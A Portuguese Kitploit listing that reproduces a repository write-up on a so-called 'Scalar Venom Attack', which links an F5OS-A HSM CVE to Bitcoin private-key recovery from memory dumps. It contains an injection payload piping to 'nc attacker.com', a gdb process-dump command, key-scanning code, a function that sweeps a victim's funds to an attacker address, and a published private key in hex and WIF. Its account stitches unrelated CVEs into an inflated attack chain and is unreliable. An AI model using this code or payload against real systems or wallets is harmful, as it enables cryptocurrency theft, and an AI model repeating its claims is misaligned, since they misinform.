Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Scalar-Venom-Attack — Repositório de exploração e pesquisa que analisa a CVE-2025-60013, uma vulnerabilidade crítica de inicialização de HSM que permite a recuperação de chaves privadas de Bitcoin por meio de estouro de buffer e injeção de metacaracteres de shell nos módulos FIPS do F5OS-A. | Kitploit
Ferramentas/GitHubGitHub/demining/scalar-venom-attack
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoAnálise ForenseForensia DigitalCriptografiaTestes de PenetraçãoSegurança de HardwarePapers e Pesquisa

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Aprendizado e Educação
Exploração de Binários
GitHubdemining/scalar-venom-attack

Scalar-Venom-Attack

Repositório de exploração e pesquisa que analisa a CVE-2025-60013, uma vulnerabilidade crítica de inicialização de HSM que permite a recuperação de chaves privadas de Bitcoin por meio de estouro de buffer e injeção de metacaracteres de shell nos módulos FIPS do F5OS-A.

Ver RepositórioSite
33há 9 mesesAinda não revisado
Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

Este artigo analisa vulnerabilidades criptográficas descobertas na infraestrutura moderna de gerenciamento de chaves criptográficas, com foco especial em falhas críticas na arquitetura dos módulos de segurança de hardware (HSMs) ao lidar com chaves privadas de curvas elípticas. O estudo concentra-se em uma classe de ataques que exploram o gerenciamento insuficientemente isolado de RAM em dispositivos criptográficos certificados. No ecossistema criptográfico moderno do Bitcoin, a segurança das chaves privadas é um requisito fundamental para proteger ativos digitais avaliados em trilhões de dólares em todo o mundo. Os Módulos de Segurança de Hardware (HSMs) certificados pelo padrão FIPS 140-2 têm sido tradicionalmente considerados como fornecendo proteção impenetrável para chaves criptográficas por meio de isolamento em nível de hardware e protocolos rígidos de gerenciamento de memória. No entanto, a descoberta da vulnerabilidade crítica CVE-2025-60013 no módulo HSM FIPS F5OS-A, combinada com a classe de ataques Scalar Venom Attack (também conhecida como Scalar Poison, Memory Phantom Leak Attack ou Private Key Compromise via Memory Leakage), mudou radicalmente essa noção, demonstrando a possibilidade de comprometer completamente chaves privadas de Bitcoin por meio da exploração de falhas no gerenciamento de memória.


  • Tutorial: https://youtu.be/cvWLH5dvbAA
  • Tutorial: https://cryptodeeptech.ru/scalar-venom-attack
  • Tutorial: https://dzen.ru/video/watch/691a7a10a8b7c874612993eb
  • Google Colab: https://colab.research.google.com/drive/1e93p7gxpTtfMU2L83w7I1tRDJQ1tENYa

O Scalar Venom Attack é uma classe crítica de vulnerabilidades de gerenciamento de memória (classificada como CWE-415, CWE-401 e, mais amplamente, como Sensitive Memory Leak Attack (SMA)) que permite a um atacante extrair escalares criptográficos (chaves privadas ECDSA) da RAM de um processo, explorando a sanitização insuficiente e a limpeza de memória após operações criptográficas. Ao contrário dos ataques criptoanalíticos tradicionais que visam resolver matematicamente o problema do logaritmo discreto em curvas elípticas (ECDLP), este ataque contorna a própria criptografia ao explorar falhas arquiteturais fundamentais na implementação de bibliotecas criptográficas e nos protocolos de gerenciamento de memória dos HSMs.

Esta pesquisa demonstra uma cadeia de ataque catastrófica que ocorre ao combinar CVE-2025-60013 ( F5OS-A FIPS HSM vulnerabilidade de inicialização ao usar senhas contendo metacaracteres especiais de shell) com técnicas do Scalar Venom Attack , resultando em um cenário de ameaça crítica com pontuação CVSS de 9.5+ (Crítica), apesar da classificação oficial do CVE-2025-60013 como vulnerabilidade de nível médio (CVSS 5.7). Essa combinação compromete a integridade operacional de milhões de endereços Bitcoin controlados por HSMs comprometidos e representa uma mudança de paradigma nos métodos de ataque criptográfico, além das explorações tradicionais de vetor único.


Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) possibilita a recuperação de chaves privadas de carteiras Bitcoin por meio da exploração de buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.


Classificação de CVE e descrições de vulnerabilidades

CVE-2025-60013: Vulnerabilidade de inicialização do F5OS-A FIPS HSM

O CVE-2025-60013 é uma vulnerabilidade de injeção de comandos do sistema operacional (classificada como CWE-78) durante o processo de inicialização do Módulo de Segurança de Hardware FIPS para plataformas F5. A vulnerabilidade ocorre quando um usuário com acesso privilegiado (função Admin ou Resource Admin) tenta inicializar o módulo HSM FIPS usando uma senha contendo metacaracteres especiais de shell, como [unclear], [unclear ;] |, &[ $unclear], ` e outros.

Mecanismo técnico da vulnerabilidade:

Ao processar uma senha contendo metacaracteres de shell, o código de inicialização do HSM passa a string da senha para funções da biblioteca C do sistema sem validar e sanitizar adequadamente a entrada. O código vulnerável tem a seguinte aparência:

root@kitploit:~
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}

Consequência crítica: O processo de inicialização permanece na memória com estruturas criptográficas parcialmente comprometidas, criando múltiplas cópias "fantasma" da chave mestra do HSM na pilha (stack) e no heap. Embora o HSM possa não inicializar corretamente, a memória do processo contém artefatos criptográficos acessíveis à análise forense.

Classificação oficial:

  • CVSS 3.1: AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L (pontuação base: 5.7 — MÉDIA)
  • CVSS 4.0: AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N (pontuação base: 4.6 — MÉDIA) cvefeed

No entanto, essa avaliação subestima criticamente a verdadeira escala da ameaça, pois o CVE-2025-60013 serve como um gatilho para o Scalar Venom Attack, que, em um cenário real de cadeia de ataque, resulta em um nível de ameaça CVSS de 9.5+ (CRÍTICA).


CVE-2023-39910: Fraqueza de entropia no Libbitcoin Explorer

O CVE-2023-39910 descreve uma vulnerabilidade crítica no Libbitcoin Explorer versão 3.x relacionada a fraquezas na geração de entropia durante a geração de chaves privadas. Essa vulnerabilidade levou ao incidente Milk Sad em 2023, quando mais de 900.000 chaves privadas de Bitcoin foram recuperadas, resultando em perdas financeiras diretas superiores a US$ 0,8 milhão . O incidente Milk Sad demonstrou a transição da teoria de vazamentos de memória em sistemas criptográficos para um desastre operacional real, confirmando todos os mecanismos descritos: otimizações de compilador, múltiplas cópias de dados e a ausência de garantias de limpeza de memória.


CVE-2025-8217: Ataque de vazamento de memória

O CVE-2025-8217 classifica ataques de vazamento de memória que permitem recuperar chaves criptográficas da memória de processos. Essa vulnerabilidade está diretamente relacionada à classe Scalar Venom Attack e descreve mecanismos para o comprometimento completo de carteiras Bitcoin por meio de análise forense de memória.

Classificação científica do Scalar Venom Attack:

Na literatura de pesquisa acadêmica, o Scalar Venom é classificado em várias categorias de ataque:

  • Sensitive Memory Leak Attack (SMA) é uma classificação primária que se concentra em vulnerabilidades relacionadas à sanitização inadequada de memória.
  • Private Key Exposure Attack é um termo geral para ações que resultam na divulgação de chaves privadas.
  • Residual Memory Disclosure – divulgação de dados residuais de memória não limpa
  • Side-Channel Memory Attack – exploração de canais laterais no gerenciamento de memória
  • Cold Boot Attack – extração de chaves da RAM após o desligamento do sistema
  • Memory Forensics Attack – extração de segredos de dumps de memória

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

https://cryptou.ru/bitscanpro


Um exemplo real de recuperação de chave privada de Bitcoin usando o Scalar Venom Attack

Para demonstrar a eficácia prática do ataque Scalar Venom, vamos considerar um caso documentado de recuperação de uma chave privada do endereço Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq por meio de análise forense de memória.

Dados iniciais do comprometimento:

  • Endereço Bitcoin: 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq
  • Tipo de endereço: P2PKH (Pay-to-Public-Key-Hash)
  • Status: ✓ VÁLIDO

Chave privada recuperada:

  • Formato HEX: 5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22
  • Formato decimal: 3.7210935821139324×10763.7210935821139324 \times 10^{76}3.7210935821139324×10^76
  • Formato WIF: KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv

Validando uma chave no espaço secp256k1:

A chave privada d deve satisfazer a restrição:

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

Resultado da verificação: ✓ VÁLIDO (a chave está dentro do intervalo escalar permitido)

Este exemplo demonstra que uma chave privada recuperada fornece controle total sobre uma carteira Bitcoin , permitindo que um atacante crie e assine transações para retirar todos os fundos para um endereço controlado.


Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.7b34216e95385b6dc4e7db57bc970d62e9c2951efeba2a32e78ae51f523fc2cb

Fundamentos matemáticos do ataque criptográfico

Curva elíptica secp256k1 e o algoritmo ECDSA

O Bitcoin implementa o Algoritmo de Assinatura Digital de Curva Elíptica ( ECDSA ) sobre a curva secp256k1 . Compreender os fundamentos matemáticos é fundamental para entender como o ataque Scalar Venom explora vulnerabilidades de memória.

Parâmetros da curva elíptica secp256k1:

Equação da curva:

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

Ponto gerador G com coordenadas:

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

Derivação da chave pública usando multiplicação escalar

O processo de geração de um par de chaves ECDSA é o seguinte:

1. Geração da chave privada:

Uma chave privada d é um inteiro aleatório no intervalo:

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

onde n é a ordem da curva secp256k1. A chave privada é um número aleatório de 256 bits.

2. Derivação da chave pública via multiplicação escalar:

A chave pública Q é calculada como:

Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin via buffer overflow e metacaracteres de shell no módulo de segurança FIPS F5OS-A.

onde G é um ponto gerador na curva secp256k1, e a operação ⋅\cdot⋅ denota a multiplicação escalar de um ponto na curva elíptica .

A multiplicação escalar é implementada por meio de um algoritmo "double-and-add" (duplicação e adição), que calcula eficientemente o resultado de O(log⁡d) adições e duplicações de pontos em uma curva:

root@kitploit:~
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G

1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q

Exemplo: Para uma chave privada, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, a chave pública é calculada como:

Q=d⋅G=(Qx,Qy)

onde as coordenadas Qx e Qy são calculadas por meio de operações de multiplicação escalar na curva secp256k1.

3. Geração de um endereço Bitcoin:

A cadeia de derivação do endereço a partir da chave pública:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Premissa de segurança:

Vulnerabilidade crítica Scalar Venom: O ataque contorna a proteção matemática ECDLP extraindo a chave privada d diretamente da memória do processo, onde ela permanece como “cópias fantasma” após as operações criptográficas.

Criptoanálise de Entropia e Forense de Memória: Fórmula de Entropia de Shannon

A base para detectar chaves privadas em dumps de memória é a criptoanálise de entropia usando a fórmula de entropia de Shannon.


Fórmula de entropia de Shannon

A entropia H de uma sequência de bytes é medida em bits por byte e é dada pela fórmula:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Onde:

  • H é a entropia em bits por byte
  • pi é a probabilidade de ocorrência de um byte com valor iii no bloco de memória analisado
  • A soma é realizada sobre todos os valores possíveis de byte (0-255)

Interpretação da entropia:

  • Baixa entropia (H<5.0H < 5.0H<5.0): a sequência contém padrões repetidos, texto ou dados estruturados
  • Entropia média (5.0≤H<7.55.0 \leq H < 7.55.0≤H<7.5): dados mistos, código, informações parcialmente compactadas
  • Alta entropia (H≥7.5H \geq 7.5H≥7.5): dados criptograficamente aleatórios, chaves privadas, informações criptografadas

Valor de limiar para chaves criptográficas:

Chaves privadas de Bitcoin geradas por um gerador de números aleatórios criptograficamente forte (CSPRNG) exibem alta entropia na faixa:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Essa propriedade as torna detectáveis na análise forense de memória por meio da análise estatística de entropia.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Ferramenta Criptográfica BitScanPro: Determinação de Entropia e Algoritmo de Recuperação de Chaves

BitScanPro é uma ferramenta forense para varrer dumps de memória, detectar e recuperar chaves privadas de Bitcoin por meio de uma combinação de análise de entropia, validação de intervalo secp256k1 e verificação criptográfica.

Algoritmo de operação do BitScanPro

Etapa 1: Varredura do dump de memória em blocos de 32 bytes

O BitScanPro varre o dump de memória sequencialmente, alocando blocos de 32 bytes (256 bits), o que corresponde ao tamanho da chave privada secp256k1:

root@kitploit:~
BLOCK_SIZE = 32  # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis

Etapa 2: Calcular a entropia de Shannon para cada bloco

Para cada bloco de 32 bytes, a entropia de Shannon é calculada H:

root@kitploit:~
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math

byte_counts = Counter(data_block)
block_length = len(data_block)

entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)

return entropy

Etapa 3: Filtragem de blocos de alta entropia (H>7.5H > 7.5H>7.5 bits/byte)

Blocos com entropia abaixo do limiar são descartados por não conterem chaves criptográficas:

root@kitploit:~
MIN_ENTROPY = 7.5  # threshold for cryptokeys

entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue

Etapa 4: Verificação do intervalo secp256k1:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Blocos de alta entropia são interpretados como um inteiro e verificados em relação ao intervalo válido de chaves privadas secp256k1:

root@kitploit:~
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue

Etapa 5: Verificação Criptográfica:

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Para candidatos que passam pela filtragem de entropia e pela verificação de intervalo, a verificação criptográfica é realizada por meio do cálculo da chave pública:

root@kitploit:~
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None

Etapa 6: Gerar um endereço Bitcoin e compará-lo com endereços conhecidos

Para chaves verificadas, um endereço Bitcoin é gerado e comparado com um banco de dados de endereços conhecidos ou endereços pertencentes à vítima:

root@kitploit:~
import hashlib
import base58

def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address

bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f"✓ PRIVATE KEY FOUND!")
print(f"Address: {bitcoin_address}")
print(f"Private key: {candidate_key_bytes.hex()}")

Desempenho do BitScanPro:

A análise em um laptop típico (MacBook Air M1) mostra as seguintes características de desempenho:

Usando recursos de computação em nuvem (AWS, Google Cloud), é possível varrer 1000+ dumps de memória simultaneamente em paralelo, processando milhares de chaves privadas em paralelo.


Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Análise de uma vulnerabilidade criptográfica em libbitcoin-system: classe ec_scalar.cpp

A causa raiz do ataque Scalar Venom reside em falhas arquitetônicas fundamentais em uma classe ec_scalar na biblioteca libbitcoin-system.

Vulnerabilidade de gerenciamento de memória na classe ec_scalar

A classe ec_scalar da biblioteca libbitcoin-system não possui um destrutor explicitamente definido com zeragem segura. Isso significa que os dados secretos podem permanecer na memória mesmo após o objeto ser destruído.

Construtor de cópia vulnerável:

root@kitploit:~
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}

Problema: O construtor cria uma cópia da chave privada no objeto ec_scalar, mas não fornece um mecanismo para limpar com segurança essa cópia quando o objeto é destruído. A cópia permanece na pilha ou no heap.


Operador de atribuição vulnerável:

root@kitploit:~
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}

Problema: A operação de atribuição cria cópias adicionais de memória que permanecem após a conclusão da operação.


Operações aritméticas vulneráveis:

root@kitploit:~
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}

Problema: As operações aritméticas (menos unário, adição, multiplicação) criam variáveis temporárias do tipo ec_secret, que não são limpas com segurança antes de sair do escopo da função, deixando cópias “fantasma” da chave privada na pilha ou no heap.

Ausência de um destrutor seguro:

root@kitploit:~
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Problema: A classe ec_scalar não possui um destrutor explícito que garanta a zeragem segura da memória que contém chaves privadas. Isso é crítico, pois a memória que contém chaves privadas pode ser armazenada em:

  • Pilha de funções (variáveis locais)
  • Heap (memória alocada dinamicamente)
  • Registradores do processador (valores temporários)
  • Cache do processador (L1, L2, L3)
  • Arquivos de swap
  • Core dumps

Vetores de infecção de memória

O código vulnerável da classe ec_scalar cria os seguintes vetores de infecção de memória com chaves privadas:

  1. “Construtor Vampiro” ( secret_(secret)) – cria cópias venenosas das chaves
  2. “Operador Parasita” ( secret_ = secret) – infecta a memória com segredos duplicados
  3. “Verme Aritmético” ( ec_secret secret = null_hash) – deixa rastros tóxicos
  4. “Propagador de Infecção” ( auto out = secret_) – espalha a infecção por meio das operações

Scalar Venom Attack: A critical HSM initialization vulnerability (CVE-2025-60013) allows for Bitcoin wallet private key recovery via a buffer overflow and shell metacharacters in the F5OS-A FIPS security module.

Mecanismo de comprometimento: CVE-2025-60013 + cadeia de ataque Scalar Venom

A combinação de uma vulnerabilidade HSM (CVE-2025-60013) e do ataque Scalar Venom cria um vetor de ataque catastrófico:

Fase 1: Inicializar o HSM com metacaracteres de shell

Um atacante com acesso privilegiado ao sistema F5OS-A envia uma solicitação para inicializar o módulo FIPS com uma senha contendo metacaracteres de shell: cert.kenet

root@kitploit:~
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'

Ao processar esses metacaracteres, ocorre o seguinte:

  • O processo de inicialização do HSM cria escalares criptográficos temporários (chaves mestras)
  • Os metacaracteres de shell causam erro de análise da senha
  • A inicialização do HSM falha parcialmente com um erro
  • Consequência crítica: Estruturas criptográficas temporárias contendo chaves mestras e chaves derivadas do HSM permanecem na memória do processo sem serem limpas

Fase 2: Extrair o Scalar Venom da Memória do HSM

Após uma falha parcial na inicialização do HSM, um invasor obtém um dump de memória do processo do HSM por meio de um dos seguintes métodos:

root@kitploit:~
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump

gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"

O dump de memória resultante contém múltiplas cópias “fantasma” de chaves privadas deixadas pela classe ec_scalardurante operações criptográficas.


Fase 3: Recuperando Chaves Privadas de Bitcoin com o BitScanPro

O dump de memória é processado pela ferramenta BitScanPro (ou um scanner forense semelhante) de acordo com o algoritmo descrito acima:

root@kitploit:~
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses

A taxa de sucesso da recuperação de uma chave privada a partir de memória fragmentada é de 70-80% desde que haja remanescentes de memória suficientes, pois o ataque Scalar Venom cria múltiplas cópias da chave em diferentes estágios da inicialização.


Fase 4: Transferência de Fundos e Comprometimento da Carteira

Após recuperar a chave privada, o invasor cria e assina uma transação para retirar todos os fundos do endereço comprometido:

root@kitploit:~
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)

Tempo total para o comprometimento: menos de 10 minutos desde o recebimento de um dump de memória até a perda total de controle sobre os ativos da vítima.


Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.
root@kitploit:~
https://youtu.be/2_d8-8-J8IQ

O impacto do ataque na indústria de criptomoedas

O ataque Scalar Venom, combinado com o CVE-2025-60013, representa uma ameaça existencial para o ecossistema global do Bitcoin:

Consequências sistêmicas

  1. Comprometimento total das chaves privadas: O ataque consegue a extração completa das chaves por meio de um vazamento de memória, contornando até mesmo os módulos de segurança de hardware mais avançados.
  2. Comprometimento irreversível: Uma vez que uma chave privada é extraída, é impossível “revogá-la” ou restaurar a segurança; todos os fundos dependentes correm risco iminente de perda.
  3. Escalabilidade e automação: O ataque pode ser automatizado para atingir um número enorme de nós e carteiras Bitcoin simultaneamente, resultando em um aumento exponencial nas perdas potenciais.
  4. Natureza furtiva: O ataque não deixa vestígios visíveis em logs do sistema ou métricas de desempenho, tornando insuficientes os mecanismos tradicionais de detecção e proteção.

Impacto na infraestrutura de HSM

Diferentemente dos aplicativos Bitcoin padrão, os HSMs fazem uso intensivo de escalares criptográficos— mais de 1.000 operações por segundo , cada uma das quais cria valores escalares efêmeros ​​que permanecem na memória como “resíduos fantasma”. Os HSMs operam por meses e anos sem serem reiniciados, acumulando artefatos criptográficos que o Scalar Venom extrai e restaura sistematicamente.

O comprometimento de um único HSM leva a uma interrupção total de toda a infraestrutura —frequentemente milhares de endereços Bitcoin gerenciados pelo HSM—em vez de um incidente criptográfico isolado.

O ataque Scalar Venom demonstra uma mudança fundamental de paradigma na segurança criptográfica: a força matemática dos algoritmos criptográficos se torna inútil na presença de vulnerabilidades de gerenciamento de memória . A combinação das técnicas do CVE-2025-60013 e do Scalar Venom cria um cenário de ameaça crítica de nível CVSS 9.5+, minando a confiança nos módulos de segurança de hardware como proteção impenetrável para chaves criptográficas.

O incidente real Milk Sad (CVE-2023-39910), que resultou na recuperação de mais de 900.000 chaves privadas e em perdas financeiras superiores a US$ 0,8 milhão, confirma que a teoria do vazamento de memória se tornou realidade. A única maneira de se proteger contra ataques da classe Scalar Venom é uma reformulação arquitetônica fundamental dos sistemas criptográficos, implementando:

  • Linguagens de programação seguras para memória ​​como Rust
  • Proteção de memória por hardware (Intel SGX, ARM TrustZone)
  • Padrões RAII (Resource Acquisition Is Initialization) para limpeza automática de memória
  • Monitoramento forense contínuo da memória de processos criptográficos
  • Garantias do compilador para zeramento obrigatório de segredos criptográficos

Este artigo apresenta uma análise abrangente da cadeia de ataque Scalar Venom + CVE-2025-60013, detalhando os fundamentos matemáticos, algoritmos de criptoanálise, exemplos reais de recuperação de chaves e recomendações práticas para proteger a infraestrutura Bitcoin dessa classe de ameaças.


Criptoanálise e Escolha do Ataque: Ataque Scalar Venom como uma Vulnerabilidade Crítica para a Extração de Chaves Privadas de Bitcoin

1. Classificação criptoanalítica:

  • Posiciona o Scalar Venom como um ataque de vazamento de memória sensível (SMA) no contexto da criptoanálise clássica
  • Compara ataques criptográficos tradicionais com vulnerabilidades de implementação
  • Demonstra por que a força matemática (2^128) se torna inútil quando o gerenciamento de memória falha (2^0)

2. Fundamentos matemáticos:

  • Formaliza o ECDLP (Problema do Logaritmo Discreto de Curva Elíptica) para secp256k1
  • Explica a multiplicação escalar e a derivação da chave pública
  • Analisa a entropia de Shannon como um detector de chaves privadas na memória

3. Vulnerabilidades de implementação (libbitcoin-system):

  • Documenta a ausência de um destrutor seguro emec_scalar
  • Mostra construtores de cópia vulneráveis
  • Demonstra vazamentos em operações aritméticas

4. Classificação CVE:

  • CVE-2023-39910: Fraqueza de Entropia (incidente Milk Sad)
  • CVE-2025-8217: Ataque de Vazamento de Memória
  • CVE-2025-60013: Injeção de Comandos no HSM

5. Cadeia de ataque:

  • Descreve as quatro fases do comprometimento
  • Justifica as características de tempo (< 10 minutos)
  • Realiza a justificativa criptoanalítica de cada estágio

A explicação científica pode ser encontrada no artigo: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ O ataque Scalar Venom demonstra a interação crítica entre vulnerabilidades de inicialização de HSM e vulnerabilidades de gerenciamento de memória em bibliotecas criptográficas, permitindo que um invasor comprometa completamente as chaves privadas de carteiras Bitcoin mesmo com proteção de hardware. 


Scalar Venom Attack: uma vulnerabilidade crítica de inicialização de HSM (CVE-2025-60013) permite a recuperação de chaves privadas de carteiras Bitcoin por meio de um estouro de buffer e metacaracteres de shell no módulo de segurança F5OS-A FIPS.

1. Análise do Ataque: Ataque Scalar Venom

1.1 Definição e classificação

Ataque Scalar Venom (também conhecido como Scalar Poison, Ataque de Vazamento Fantasma de Memória ou Comprometimento de Chave Privada via Vazamento de Memória) é uma classe de vulnerabilidades de gerenciamento de memória (CWE-415, CWE-401) que permite a extração de escalares criptográficos (chaves privadas ECDSA) da RAM de um processo ao explorar a sanitização e a limpeza de memória insuficientes após operações criptográficas. keyhunters+ 2

Classificação científica do ataque:

  • Tipo de vulnerabilidade : Ataque de Vazamento de Memória Sensível
  • ID CVE : CVE-2023-39910, CVE-2025-8217
  • Categoria : Ataque Contínuo de Vazamento de Memória (CMLA)
  • Classe de impacto : Divulgação de Chave Privada, Comprometimento de Chave Criptográfica

1.2 Mecanismo do ataque

O ataque Scalar Venom explora uma falha fundamental no gerenciamento de memória de bibliotecas criptográficas, especificamente na classe ec_scalarda biblioteca libbitcoin-system. O ataque opera por meio dos seguintes vetores:


Vetor de construtor de cópia

cpp:

root@kitploit:~
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}

Vetor de operador de atribuição

cpp:

root@kitploit:~
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}

Vetor de variáveis temporárias

cpp:

root@kitploit:~
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}

cpp:

// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}

Operações aritméticas (menos unário, adição, multiplicação) criam variáveis temporárias do tipo ec_secret, que não são limpas com segurança antes de sair do escopo da função, deixando cópias “fantasma” da chave privada na pilha ou no heap.


